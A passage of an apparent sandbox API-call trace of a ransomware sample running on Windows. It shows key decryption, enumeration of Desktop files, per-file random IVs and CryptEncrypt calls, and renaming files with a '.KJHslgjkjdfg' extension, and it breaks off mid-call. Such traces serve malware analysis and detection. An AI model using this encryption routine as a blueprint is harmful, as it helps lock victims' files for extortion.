GetProcessHeap () returned 0x2ef0000 [0145.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17f98 | out: hHeap=0x2ef0000) returned 1 [0145.678] GetProcessHeap () returned 0x2ef0000 [0145.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18308 | out: hHeap=0x2ef0000) returned 1 [0145.678] GetProcessHeap () returned 0x2ef0000 [0145.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17fa8 | out: hHeap=0x2ef0000) returned 1 [0145.678] GetProcessHeap () returned 0x2ef0000 [0145.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10178 | out: hHeap=0x2ef0000) returned 1 [0145.678] GetProcessHeap () returned 0x2ef0000 [0145.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17fb8 | out: hHeap=0x2ef0000) returned 1 [0145.678] GetProcessHeap () returned 0x2ef0000 [0145.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18330 | out: hHeap=0x2ef0000) returned 1 [0145.678] GetProcessHeap () returned 0x2ef0000 [0145.678] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17fc8 | out: hHeap=0x2ef0000) returned 1 [0145.678] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17838 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17fd8 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10198 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17fe8 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18358 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17ff8 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f101b8 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18008 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f101d8 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18018 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18380 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18028 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f101f8 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18038 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f183a8 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18048 | out: hHeap=0x2ef0000) returned 1 [0145.679] GetProcessHeap () returned 0x2ef0000 [0145.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f183d0 | out: hHeap=0x2ef0000) returned 1 [0145.680] GetProcessHeap () returned 0x2ef0000 [0145.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f18058 | out: hHeap=0x2ef0000) returned 1 [0145.680] GetProcessHeap () returned 0x2ef0000 [0145.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11818 [0145.680] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f710, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0145.680] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11818, pdwDataLen=0x18f778 | out: pbData=0x2f11818, pdwDataLen=0x18f778) returned 1 [0145.680] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0145.680] GetProcessHeap () returned 0x2ef0000 [0145.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f117f0 [0145.680] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f710, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0145.680] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f117f0, pdwDataLen=0x18f778 | out: pbData=0x2f117f0, pdwDataLen=0x18f778) returned 1 [0145.680] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0145.680] GetProcessHeap () returned 0x2ef0000 [0145.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f117c8 [0145.680] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f710, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0145.680] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f117c8, pdwDataLen=0x18f778 | out: pbData=0x2f117c8, pdwDataLen=0x18f778) returned 1 [0145.680] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0145.680] GetProcessHeap () returned 0x2ef0000 [0145.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f117a0 [0145.681] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f710, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0145.681] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f117a0, pdwDataLen=0x18f778 | out: pbData=0x2f117a0, pdwDataLen=0x18f778) returned 1 [0145.681] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0145.681] GetProcessHeap () returned 0x2ef0000 [0145.681] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10838) returned 0x2f189b0 [0145.681] GetProcessHeap () returned 0x2ef0000 [0145.681] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x100000) returned 0x4bf0020 [0145.682] wsprintfW (in: param_1=0x2f289e2, param_2=".%s" | out: param_1=".KJHslgjkjdfg") returned 13 [0145.682] GetProcessHeap () returned 0x2ef0000 [0145.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10058) returned 0x2f291f0 [0145.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4024f0, lpParameter=0x2f189b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0145.683] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) returned 0x0 [0146.256] CloseHandle (hObject=0x120) returned 1 [0146.256] GetProcessHeap () returned 0x2ef0000 [0146.256] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x4bf0020 | out: hHeap=0x2ef0000) returned 1 [0146.257] GetProcessHeap () returned 0x2ef0000 [0146.257] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f189b0 | out: hHeap=0x2ef0000) returned 1 [0146.257] GetProcessHeap () returned 0x2ef0000 [0146.257] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f117a0 | out: hHeap=0x2ef0000) returned 1 [0146.257] GetProcessHeap () returned 0x2ef0000 [0146.257] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f117c8 | out: hHeap=0x2ef0000) returned 1 [0146.257] GetProcessHeap () returned 0x2ef0000 [0146.257] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f117f0 | out: hHeap=0x2ef0000) returned 1 [0146.257] GetProcessHeap () returned 0x2ef0000 [0146.257] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11818 | out: hHeap=0x2ef0000) returned 1 [0146.257] GetProcessHeap () returned 0x2ef0000 [0146.257] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11818 [0146.257] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0146.257] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11818, pdwDataLen=0x18f77c | out: pbData=0x2f11818, pdwDataLen=0x18f77c) returned 1 [0146.257] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0146.257] GetProcessHeap () returned 0x2ef0000 [0146.257] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f117f0 [0146.257] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0146.257] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f117f0, pdwDataLen=0x18f77c | out: pbData=0x2f117f0, pdwDataLen=0x18f77c) returned 1 [0146.257] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0146.257] GetProcessHeap () returned 0x2ef0000 [0146.257] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f117c8 [0146.257] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0146.258] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f117c8, pdwDataLen=0x18f77c | out: pbData=0x2f117c8, pdwDataLen=0x18f77c) returned 1 [0146.258] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0146.258] GetProcessHeap () returned 0x2ef0000 [0146.258] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f117a0 [0146.258] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0146.258] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f117a0, pdwDataLen=0x18f77c | out: pbData=0x2f117a0, pdwDataLen=0x18f77c) returned 1 [0146.258] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0146.258] GetProcessHeap () returned 0x2ef0000 [0146.258] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x4) returned 0x2f0fc68 [0146.258] GetProcessHeap () returned 0x2ef0000 [0146.258] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x4) returned 0x2f0fc58 [0146.258] GetProcessHeap () returned 0x2ef0000 [0146.258] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10838) returned 0x2f189b0 [0146.258] GetProcessHeap () returned 0x2ef0000 [0146.258] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x100000) returned 0x4bf0020 [0146.259] wsprintfW (in: param_1=0x2f289e2, param_2=".%s" | out: param_1=".KJHslgjkjdfg") returned 13 [0146.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4024f0, lpParameter=0x2f189b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0146.259] WaitForMultipleObjects (nCount=0x1, lpHandles=0x2f0fc58*=0x120, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x440 Thread: id = 165 os_tid = 0x6ec Thread: id = 166 os_tid = 0x1c0 Thread: id = 171 os_tid = 0x858 [0145.689] GetProcessHeap () returned 0x2ef0000 [0145.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x5c) returned 0x2f122c8 [0145.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe797a530, ftLastAccessTime.dwHighDateTime=0x1d62701, ftLastWriteTime.dwLowDateTime=0xe797a530, ftLastWriteTime.dwHighDateTime=0x1d62701, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName=".", cAlternateFileName="")) returned 0x2f11a90 [0145.691] GetProcessHeap () returned 0x2ef0000 [0145.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f122c8 | out: hHeap=0x2ef0000) returned 1 [0145.691] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe797a530, ftLastAccessTime.dwHighDateTime=0x1d62701, ftLastWriteTime.dwLowDateTime=0xe797a530, ftLastWriteTime.dwHighDateTime=0x1d62701, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="..", cAlternateFileName="")) returned 1 [0145.691] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18292390, ftCreationTime.dwHighDateTime=0x1d5dc3e, ftLastAccessTime.dwLowDateTime=0x962c7b50, ftLastAccessTime.dwHighDateTime=0x1d5db28, ftLastWriteTime.dwLowDateTime=0x962c7b50, ftLastWriteTime.dwHighDateTime=0x1d5db28, nFileSizeHigh=0x0, nFileSizeLow=0x102ad, dwReserved0=0x0, dwReserved1=0xffff, cFileName="2CO 8IR.m4a", cAlternateFileName="2CO8IR~1.M4A")) returned 1 [0145.691] GetProcessHeap () returned 0x2ef0000 [0145.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x25e) returned 0x2f16538 [0145.691] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2CO 8IR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2co 8ir.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.692] GetProcessHeap () returned 0x2ef0000 [0145.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.692] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.692] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.692] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x3, lpOverlapped=0x0) returned 1 [0145.694] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.694] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.694] GetProcessHeap () returned 0x2ef0000 [0145.694] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.694] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0145.695] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.695] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0145.696] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.696] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.696] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.696] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.696] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.696] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.696] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.696] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.696] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x102ad, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x102ad, lpOverlapped=0x0) returned 1 [0145.698] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x102b0, dwBufLen=0x102b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x102b0) returned 1 [0145.699] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.699] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x102b0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x102b0, lpOverlapped=0x0) returned 1 [0145.699] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.699] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x10384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.699] SetEndOfFile (hFile=0xc0) returned 1 [0145.702] GetProcessHeap () returned 0x2ef0000 [0145.703] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.703] GetProcessHeap () returned 0x2ef0000 [0145.703] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.704] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2CO 8IR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2co 8ir.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2CO 8IR.m4a.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2co 8ir.m4a.kjhslgjkjdfg")) returned 1 [0145.711] CloseHandle (hObject=0xc0) returned 1 [0145.711] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2683b20, ftCreationTime.dwHighDateTime=0x1d5df58, ftLastAccessTime.dwLowDateTime=0x4fa3a00, ftLastAccessTime.dwHighDateTime=0x1d5dfb5, ftLastWriteTime.dwLowDateTime=0x4fa3a00, ftLastWriteTime.dwHighDateTime=0x1d5dfb5, nFileSizeHigh=0x0, nFileSizeLow=0x1741c, dwReserved0=0x0, dwReserved1=0xffff, cFileName="7IPkrGt1vYBNT.jpg", cAlternateFileName="7IPKRG~1.JPG")) returned 1 [0145.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7IPkrGt1vYBNT.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7ipkrgt1vybnt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.713] GetProcessHeap () returned 0x2ef0000 [0145.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.713] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.713] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.713] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.715] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.715] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.715] GetProcessHeap () returned 0x2ef0000 [0145.715] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.715] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0145.715] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.715] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0145.715] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.715] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.715] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.716] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.716] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.716] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.716] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.716] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.716] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1741c, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x1741c, lpOverlapped=0x0) returned 1 [0145.718] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x17420, dwBufLen=0x17420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x17420) returned 1 [0145.718] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.719] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17420, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x17420, lpOverlapped=0x0) returned 1 [0145.719] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.719] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x174f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.719] SetEndOfFile (hFile=0xc0) returned 1 [0145.727] GetProcessHeap () returned 0x2ef0000 [0145.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.727] GetProcessHeap () returned 0x2ef0000 [0145.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.727] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7IPkrGt1vYBNT.jpg" 